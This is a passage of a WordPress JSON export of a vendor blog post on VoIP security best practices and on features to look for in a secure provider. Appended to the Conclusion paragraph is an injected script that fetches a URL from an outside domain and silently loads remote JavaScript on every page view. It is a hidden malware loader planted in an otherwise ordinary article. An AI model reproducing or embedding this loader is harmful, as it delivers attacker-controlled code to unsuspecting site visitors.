aria-level=\"1\"><b>Consistent Software Updates<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Consistently update VoIP software to access security patches and prevent exploitation of known vulnerabilities. Automatic updates should be enabled to ensure the system is protected against emerging threats.<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Protection of BYOD\/Mobile Devices<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Protect BYOD\/mobile devices by enabling end-to-end encryption and using session border controllers for remote connectivity. This ensures that communications remain secure even when accessed from personal devices.<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Audio Fencing<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Utilize audio fencing to eliminate background noise and enhance call privacy. This feature creates a virtual &#8220;fence&#8221; environment, ensuring that calls cannot be overheard and sensitive information remains confidential.<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Spam Call Blocking<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Features like spam call-blocking provided by trusted VoIP providers minimize the risk of malicious calls. Automatic spam blocking systems and user-level settings can control how calls are handled, reducing the likelihood of security threats.<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\"><b>Deletion of Inactive Accounts<\/b><\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Promptly delete inactive employee accounts to prevent unauthorized access to the system. Removing inactive accounts reduces the risk of security breaches and ensures that only authorized personnel have access to the VoIP system.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Features_to_Look_for_in_a_Secure_VoIP_Service_Provider\"><\/span><span style=\"font-weight: 400;\">Features to Look for in a Secure VoIP Service Provider<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-4690\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Features-of-a-Secure-VoIP-Service-Provider.jpg\" alt=\"Features of a Secure VoIP Service Provider\" width=\"751\" height=\"522\" srcset=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Features-of-a-Secure-VoIP-Service-Provider.jpg 751w, https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/03\/Features-of-a-Secure-VoIP-Service-Provider-300x209.jpg 300w\" sizes=\"auto, (max-width: 751px) 100vw, 751px\" \/><\/p>\n<p><span style=\"font-weight: 400;\">When choosing a VoIP provider for your business, check if they have the following features in their service:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>1. Secure Call Recording<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Ensure that the VoIP provider offers secure call recording features, including encryption of recorded data at rest and in transit. Look for options to customize call recording settings to comply with legal requirements and protect sensitive information.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>2. Call Encryption<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Encrypted VoIP providers implement robust encryption protocols such as TLS (Transport Layer Security) and SRTP (Secure Real-time Transport Protocol) to <\/span><a href=\"https:\/\/www.cisco.com\/c\/en\/us\/solutions\/small-business\/resource-center\/security\/tips-ip-phone-security.html\"><span style=\"font-weight: 400;\">protect voice traffic<\/span><\/a><span style=\"font-weight: 400;\"> from interception and eavesdropping.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>3. Security Certifications &amp; Accreditation<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Verify that the VoIP provider holds relevant security certifications and compliance accreditations such as SOC 2 Type 2, PCI DSS, HIPAA, and ISO\/IEC 27001. These certifications ensure that the provider adheres to industry best practices and meets stringent security standards.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>4. Incident Response Time<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Inquire about the provider&#8217;s incident response time and protocols for handling security incidents. Look for quick and efficient responses to security threats, including notification procedures and service restoration timelines.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>5. VPN Connection<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Check if the VoIP provider offers VPN (Virtual Private Network) connections to encrypt voice traffic and ensure secure communication, especially for remote teams accessing the VoIP system from unsecured networks.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>6. Role-based Access<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Choose a provider that offers role-based access controls to manage user permissions and restrict access to sensitive features and data. Ensure that the provider supports authentication mechanisms such as single sign-on (SSO) and multi-factor authentication (MFA) for enhanced security.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>7. Network Infrastructure<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Evaluate the provider&#8217;s network infrastructure, including data centers and server redundancy. Look for multiple data centers in geographically diverse locations to ensure service continuity and resilience against network disruptions.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">By prioritizing these features when selecting a VoIP service provider, businesses can enhance the security of their communications and safeguard sensitive information effectively.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Conclusion\"><\/span><span style=\"font-weight: 400;\">Conclusion<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">For modern businesses, safeguarding VoIP security is paramount. It&#8217;s the shield that protects vital communication channels from cyber threats. Although it\u2019s difficult to ensure a 100% secure VoIP system, by implementing robust encryption and staying vigilant, businesses can maintain seamless communication experiences while fortifying their defenses against potential breaches. So, prioritize VoIP security today to safeguard your organization&#8217;s valuable information against any potential cyber threat.<\/span><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A recent survey conducted by JP Morgan shows that 94% of companies had taken serious steps to harden VoIP security. Why? Because they think VoIP threats and vulnerabilities like payment fraud, malware, service theft, and spoofing have been increasing significantly. &nbsp; Voice over Internet Protocol (VoIP) has revolutionized business communication, offering flexibility, scalability, and cost-effectiveness. [&hellip;]<\/p>\n","protected":false},"author":22,"featured_media":4685,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[79],"tags":[],"class_list":["post-4684","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cloud-telephony"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4684","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=4684"}],"version-history":[{"count":3,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4684\/revisions"}],"predecessor-version":[{"id":6402,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/4684\/revisions\/6402"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/4685"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=4684"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=4684"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=4684"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}